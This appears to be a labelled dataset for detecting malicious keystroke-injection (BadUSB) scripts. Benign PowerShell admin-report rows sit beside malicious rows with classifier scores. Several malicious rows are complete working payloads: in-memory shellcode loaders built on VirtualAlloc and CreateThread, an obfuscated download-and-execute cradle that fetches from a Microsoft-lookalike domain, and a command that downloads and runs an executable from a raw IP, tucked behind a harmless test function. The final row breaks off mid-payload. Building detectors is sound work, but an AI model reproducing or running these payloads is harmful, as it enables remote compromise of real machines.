0xda,0xc7,0xd9,0x74,0x24,0xf4,0xbf,0x0c,0x63,0x98,0xaf,0x5a,0x33,0xc9,0xb1,0x56,0x83,0xc2,0x04,0x31,0x7a,0x14,0x03,0x7a,0x18,0x81,0x6d,0x53,0xc8,0xc7,0x8e,0xac,0x08,0xa8,0x07,0x49,0x39,0xe8,0x7c,0x19,0x69,0xd8,0xf7,0x4f,0x85,0x93,0x5a,0x64,0x1e,0xd1,0x72,0x8b,0x97,0x5c,0xa5,0xa2,0x28,0xcc,0x95,0xa5,0xaa,0x0f,0xca,0x05,0x93,0xdf,0x1f,0x47,0xd4,0x02,0xed,0x15,0x8d,0x49,0x40,0x8a,0xba,0x04,0x59,0x21,0xf0,0x89,0xd9,0xd6,0x40,0xab,0xc8,0x48,0xdb,0xf2,0xca,0x6b,0x08,0x8f,0x42,0x74,0x4d,0xaa,0x1d,0x0f,0xa5,0x40,0x9c,0xd9,0xf4,0xa9,0x33,0x24,0x39,0x58,0x4d,0x60,0xfd,0x83,0x38,0x98,0xfe,0x3e,0x3b,0x5f,0x7d,0xe5,0xce,0x44,0x25,0x6e,0x68,0xa1,0xd4,0xa3,0xef,0x22,0xda,0x08,0x7b,0x6c,0xfe,0x8f,0xa8,0x06,0xfa,0x04,0x4f,0xc9,0x8b,0x5f,0x74,0xcd,0xd0,0x04,0x15,0x54,0xbc,0xeb,0x2a,0x86,0x1f,0x53,0x8f,0xcc,0x8d,0x80,0xa2,0x8e,0xd9,0x38,0xd8,0x44,0x19,0xad,0x55,0xcc,0x77,0x44,0xce,0x66,0xcb,0xe1,0xc8,0x71,0x2c,0xd8,0x24,0xa5,0x81,0xb0,0x15,0x0a,0x76,0x5f,0xa0,0xfa,0x01,0x38,0x2b,0xd7,0xa2,0x15,0xbe,0xdb,0x17,0xc9,0x56,0x61,0x96,0xed,0xa6,0x71,0x14,0xed,0xa6,0x81,0x0b,0xaf,0xe1,0xb6,0x05,0x68,0xee,0xe8,0xc1,0x21,0x67,0x97,0xd7,0x31,0xa2,0x21,0x11,0x9e,0x25,0x32,0xaf,0xc1,0x32,0x61,0x9c,0x52,0x6c,0xd5,0x74,0x3d,0x79,0x8c,0x56,0x86,0x82,0xfa,0x30,0x92,0x76,0x5a,0x54,0xe3,0xb4,0x64,0xa4,0x6a,0x5a,0x0e,0xa0,0x3c,0xf1,0xd0,0xfe,0xd4,0x70,0xa9,0x60,0xa2,0x84,0xe0,0xcf,0xf8,0x29,0x58,0xb9,0x96,0xe0,0x58,0x5d,0x1c,0x04,0xb1,0xd8,0x22,0x8f,0x30,0xad,0xd7,0xa9,0x2d,0xc1,0xad,0xe8,0xf8,0xde,0x1b,0x86,0x44,0x48,0xa4,0x47,0x45,0x88,0xcc,0x67,0x45,0xc8,0x0c,0x3b,0x2d,0x90,0xa8,0xe8,0x48,0xdf,0x64,0x9d,0xc0,0x4c,0x0e,0x45,0xb1,0x1a,0x10,0xaa,0x3e,0xda,0x43,0xfc,0x56,0xc8,0xf5,0x89,0x45,0x13,0x2c,0x0c,0x49,0x9f,0x02,0x84,0x4d,0x5e,0x5e,0x1e,0x91,0x15,0x85,0x79,0xd1,0x8a,0xad,0x0f,0x2a,0xcb,0xd1,0xc1,0xe6,0x04,0x00,0x12,0x29,0x5a,0x72,0x60,0x35;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$sWX=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($sWX.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$sWX,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.195167e-05,0.999948
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_77n6jfqr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_25.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.396073e-05
"win+r enter powershell enter enter enter function Remove-TrustedHost enter { enter [CmdletBinding(DefaultParameterSetName='TrustedHost', SupportsShouldProcess=$true, ConfirmImpact=""High"")] enter param( enter [Parameter( enter ParameterSetName='TrustedHost', enter Position=0, enter Mandatory=$true)] enter [String[]]$TrustedHost, enter enter [Parameter( enter ParameterSetName='All', enter Position=0, enter Mandatory=$true, enter HelpMessage=""Remove all trusted host(s)"")] enter [switch]$All enter ) enter enter Begin{ enter if(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]""Administrator"")) enter { enter throw ""Administrator rights are required to remove a trusted host!"" enter } enter } enter enter Process{ enter $TrustedHost_Path = ""WSMan:\localhost\Client\TrustedHosts"" enter [System.Collections.ArrayList]$TrustedHosts = @() enter enter try{ enter $TrustedHost_Value = (Get-Item -Path $TrustedHost_Path).Value enter $TrustedHost_ValueOrg = $TrustedHost_Value enter enter if($PSCmdlet.ParameterSetName -eq ""TrustedHost"") enter { enter if(-not([String]::IsNullOrEmpty($TrustedHost_Value))) enter { enter $TrustedHosts += $TrustedHost_Value.Split(',') enter } enter enter foreach($TrustedHost2 in $TrustedHost) enter { enter if($TrustedHosts -notcontains $TrustedHost2) enter { enter Write-Warning -Message ""Trusted host """"$TrustedHost2"""" does not exists in """"$TrustedHost_Path"""" and will be skipped."" enter continue enter } enter enter $TrustedHosts.Remove($TrustedHost2) enter } enter enter $TrustedHost_Value = $TrustedHosts -join "","" enter } enter elseif($PSCmdlet.ParameterSetName -eq ""All"") enter { enter $TrustedHost_Value = """" enter } enter enter if(($TrustedHost_Value -ne $TrustedHost_ValueOrg) -and ($PSCmdlet.ShouldProcess($TrustedHost_Path))) enter { enter Set-Item -Path $TrustedHost_Path -Value $TrustedHost_Value -Force enter } enter } enter catch{ enter throw enter } enter } enter enter End{ enter enter } enter } enter enter",0,0,0.8028839,0.1971161
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_77i00ho0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_15.json"") -Encoding UTF8 enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4527042e-05
win+r enter powershell enter enter enter filter Format-ForHtml enter { enter enter if( $_ ) enter { enter [Web.HttpUtility]::HtmlEncode($_) enter } enter } enter enter,0,0,0.99987936,0.00012062732
"win+r powershell enter [SySteM.NEt.SERVicEPointMAnager]::ExPeCt100COnTiNue = 0;$WC=NEw-ObJect SysTEm.Ne enter t.WebCLiENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like G enter ecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$ enter true};$Wc.HEADERs.AdD('User-Agent',$u);$WC.PRoxY = [SystEM.Net.WEbREqUEsT]::Defa enter UlTWEbProXy;$wC.PRoxY.CReDENtiALs = [SyStEm.Net.CReDENTIAlCAcHe]::DEFAUlTNeTwORk enter CREdeNtiAls;$K='8ac6f27a282e4938125482607ccfb55f';$I=0;[ChAR[]]$B=([CHar[]]($Wc. enter DowNloaDSTriNg(""https://mail.microsoft-invites.com/index.asp"")))|%{$_-bXor$k[$i+ enter +%$K.LenGth]};IEX ($b-JOIN'') enter enter",1,1,5.51279e-05,0.9999449
"DUCKY_REAL_BEGIN enter REM Title: Message Hack enter REM Author: NARSTY enter REM Description: Opens Messages and types ""Ive been hacked please help!"" To the first contact enter REM Will close and repeat but the second message will be ""Jesus Christ... It's Jason Bourne!"" enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Prank enter ID 05ac:021e Apple:Keyboard enter DELAY 1000 enter GUI SPACE enter DELAY 200 enter STRING Messages enter DELAY 1000 enter ENTER enter DELAY 3000 enter STRING Ive been hacked please help! enter DELAY 500 enter ENTER enter DELAY 200 enter GUI w enter DELAY 1000 enter GUI SPACE enter DELAY 200 enter STRING Messages enter DELAY 1000 enter ENTER enter DELAY 3000 enter STRING Jesus Christ... It's Jason Bourne! enter DELAY 500 enter ENTER enter DELAY 200 enter GUI w enter DUCKY_REAL_END",1,1,6.3096624e-05,0.99993694
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_2hzf6reh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4746306e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_577iqp8p"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4441146e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_4zmljn2m"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.txt"") -Encoding UTF8 enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4449164e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_pb4eotyj"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_15.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4766683e-05
"win+r powershell enter function Import-PSCredential { [cmdletbinding()] param ( [Alias(""FullName enter "")] [validatescript({ Test-Path -Path $_ })] [string]$Path = ""credentials.$e enter nv:computername.xml"", [string]$GlobalVariable ) enter enter",1,1,0.0063301995,0.9936698
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_dw1687rd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 150 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Get-Process -Name ""Teams"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64, Handles | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.json"") -Encoding UTF8 enter",0,0,0.99996567,3.438208e-05
"win+r powershell enter function Test-ListDatabaseRestorePoints { $location = ""Southeast Asia"" $serv enter erVersion = ""12.0""; $rg = Create-ResourceGroupForTest try { $server = Creat enter e-ServerForTest $rg $location enter",1,1,0.00040270097,0.9995974
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install nessus-agent enter A enter enter,0,0,0.9999596,4.046471e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_2p177d1d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999646,3.5462417e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_tnotzhd3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4126042e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0xbb,0x01,0x00,0x00,0xe8,0x8c,0x00,0x00,0x00,0x2f,0x72,0x4b,0x34,0x34,0x37,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x0a,0x4f,0x75,0xd9,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x75,0xff,0xff,0xff,0x68,0x6f,0x73,0x74,0x2d,0x31,0x30,0x38,0x2e,0x69,0x70,0x73,0x65,0x63,0x2e,0x69,0x6f,0x00;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1660045e-05,0.9999484
win+r https://upload.wikimedia.org/wikipedia/commons/5/56/Bsodwindows10.png enter unknown_key_action f11,1,1,6.912592e-05,0.99993086
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_dj4s4m96"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4514138e-05
win+r enter powershell enter enter enter properties { enter $my_property = $p1 + $p2 enter } enter enter task default -depends TestParams enter enter task TestParams { enter Assert ($my_property -ne $null) '$my_property should not be null' enter } enter enter,0,0,0.9999021,9.791736e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_o9eujety"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_module_paths.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.420029e-05
"win+r enter powershell enter enter enter function Verify-Equal { enter param ( enter [Parameter(ValueFromPipeline = $true)] enter $Actual, enter [Parameter(Mandatory = $true, Position = 0)] enter $Expected enter ) enter enter if ($Expected -ne $Actual) { enter $message = ""Expected and actual values differ!`n"" + enter ""Expected: '$Expected'`n"" + enter ""Actual : '$Actual'"" enter if ($Expected -is [string] -and $Actual -is [string]) { enter $message += ""`nExpected length: $($Expected.Length)`nActual length: $($Actual.Length)"" enter } enter throw [Exception]$message enter } enter enter $Actual enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://185.141.25.142/update.exe',""$env:TEMP\msupdate86.exe"");Start-Process (""$env:TEMP\msupdate86.exe"") enter enter",1,1,5.7702364e-05,0.9999423
"win+r enter powershell enter enter enter  enter function Get-GraphAPIToken enter { enter param enter ( enter [Parameter(Mandatory=$true)] enter $TenantName, enter [Parameter(Mandatory=$false)] enter $UserName, enter [Parameter(Mandatory=$false)] enter $Password, enter [Parameter(Mandatory=$false)] enter $Credential enter ) enter enter $adal = ""${env:ProgramFiles(x86)}\Microsoft SDKs\Azure\PowerShell\ServiceManagement\Azure\Services\Microsoft.IdentityModel.Clients.ActiveDirectory.dll"" enter $adalforms = ""${env:ProgramFiles(x86)}\Microsoft SDKs\Azure\PowerShell\ServiceManagement\Azure\Services\Microsoft.IdentityModel.Clients.ActiveDirectory.WindowsForms.dll"" enter [System.Reflection.Assembly]::LoadFrom($adal) | Out-Null enter [System.Reflection.Assembly]::LoadFrom($adalforms) | Out-Null enter $clientId = ""1950a258-227b-4e31-a9cf-717495945fc2"" enter $redirectUri = ""urn:ietf:wg:oauth:2.0:oob"" enter $resourceAppIdURI = ""https://graph.windows.net"" enter $authority = ""https://login.windows.net/$TenantName"" enter $authContext = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.AuthenticationContext"" -ArgumentList $authority enter $authResult = $authContext.AcquireToken($resourceAppIdURI, $clientId, $redirectUri, ""auto"") enter return $authResult enter } enter function Get-GraphData{ enter param enter ( enter [Parameter(Mandatory=$true)] enter $Token, enter [Parameter(Mandatory=$true)] enter $Tenant, enter [Parameter(Mandatory=$true)] enter [ValidateSet('contacts', 'directoryRoles', 'domains', 'groups', 'subscribedSkus', 'servicePrincipalsByAppId', 'tenantDetails', 'users')] enter $Resource, enter [Parameter(Mandatory=$false)] enter $Extended enter ) enter enter $authHeader = @{ enter enter 'Content-Type'='application\json' enter enter 'Authorization'=$Token.CreateAuthorizationHeader() enter enter } enter enter $uri = ""https://graph.windows.net/$tenant/$($resource)?api-version=1.6"" enter $uriPage = ""https://graph.windows.net/$tenant/"" enter $method = (Invoke-RestMethod -Uri $uri -Headers $authHeader -Method Get) enter enter $output = $method.value enter while($method.'odata.nextLink') enter { enter $nextLink = $method.'odata.nextLink'+'&api-version=1.6' enter enter $method = (Invoke-RestMethod -Uri $uriPage$nextLink -Headers $authHeader -Method Get) enter enter $output += $method.value enter } enter enter return $output enter } enter enter",0,0,0.9914766,0.008523424
"win+r powershell enter $S4SR = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $S4SR -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x98,0x4b,0x35,0x00,0xd9,0xc2,0xd9,0x74,0x24,0xf4,0x5e,0x29,0xc9,0xb1,0x47,0x83,0xee,0xfc,0x31,0x56,0x0f,0x03,0x56,0x97,0xa9,0xc0,0xfc,0x4f,0xaf,0x2b,0xfd,0x8f,0xd0,0xa2,0x18,0xbe,0xd0,0xd1,0x69,0x90,0xe0,0x92,0x3c,0x1c,0x8a,0xf7,0xd4,0x97,0xfe,0xdf,0xdb,0x10,0xb4,0x39,0xd5,0xa1,0xe5,0x7a,0x74,0x21,0xf4,0xae,0x56,0x18,0x37,0xa3,0x97,0x5d,0x2a,0x4e,0xc5,0x36,0x20,0xfd,0xfa,0x33,0x7c,0x3e,0x70,0x0f,0x90,0x46,0x65,0xc7,0x93,0x67,0x38,0x5c,0xca,0xa7,0xba,0xb1,0x66,0xee,0xa4,0xd6,0x43,0xb8,0x5f,0x2c,0x3f,0x3b,0xb6,0x7d,0xc0,0x90,0xf7,0xb2,0x33,0xe8,0x30,0x74,0xac,0x9f,0x48,0x87,0x51,0x98,0x8e,0xfa,0x8d,0x2d,0x15,0x5c,0x45,0x95,0xf1,0x5d,0x8a,0x40,0x71,0x51,0x67,0x06,0xdd,0x75,0x76,0xcb,0x55,0x81,0xf3,0xea,0xb9,0x00,0x47,0xc9,0x1d,0x49,0x13,0x70,0x07,0x37,0xf2,0x8d,0x57,0x98,0xab,0x2b,0x13,0x34,0xbf,0x41,0x7e,0x50,0x0c,0x68,0x81,0xa0,0x1a,0xfb,0xf2,0x92,0x85,0x57,0x9d,0x9e,0x4e,0x7e,0x5a,0xe1,0x64,0xc6,0xf4,0x1c,0x87,0x37,0xdc,0xda,0xd3,0x67,0x76,0xcb,0x5b,0xec,0x86,0xf4,0x89,0x99,0x83,0x62,0xbf,0xa1,0x14,0xcf,0xd7,0x5f,0x25,0x3e,0x74,0xe9,0xc3,0x10,0xd4,0xb9,0x5b,0xd0,0x84,0x79,0x0c,0xb8,0xce,0x75,0x73,0xd8,0xf0,0x5f,0x1c,0x72,0x1f,0x36,0x74,0xea,0x86,0x13,0x0e,0x8b,0x47,0x8e,0x6a,0x8b,0xcc,0x3d,0x8a,0x45,0x25,0x4b,0x98,0x31,0xc5,0x06,0xc2,0x97,0xda,0xbc,0x69,0x17,0x4f,0x3b,0x38,0x40,0xe7,0x41,0x1d,0xa6,0xa8,0xba,0x48,0xbd,0x61,0x2f,0x33,0xa9,0x8d,0xbf,0xb3,0x29,0xd8,0xd5,0xb3,0x41,0xbc,0x8d,0xe7,0x74,0xc3,0x1b,0x94,0x25,0x56,0xa4,0xcd,0x9a,0xf1,0xcc,0xf3,0xc5,0x36,0x53,0x0b,0x20,0xc7,0xaf,0xda,0x0c,0xbd,0xc1,0xde;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$Yoi=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($Yoi.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$Yoi,0,0,0);for (;;){Start-sleep 60}; enter",1,1,5.227569e-05,0.99994767
"win+r enter powershell enter enter enter  enter function Test-MrURL { enter [CmdletBinding()] enter param ( enter [string]$Uri, enter [switch]$Detailed enter ) enter enter $CurrentErrorAction = $ErrorActionPreference enter enter $ErrorActionPreference = 'SilentlyContinue' enter $Result = Invoke-WebRequest -Uri $Uri -TimeoutSec 30 enter $ErrorActionPreference = $CurrentErrorAction enter enter if ($Result.StatusCode -ne 200) { enter $false enter } enter elseif (-not $Detailed) { enter $true enter } enter else { enter [pscustomobject]@{ enter StatusDescription = $Result.StatusDescription enter StatusCode = $Result.StatusCode enter ResponseUri = $Result.BaseResponse.ResponseUri enter Server = $Result.BaseResponse.Server enter } enter } enter enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 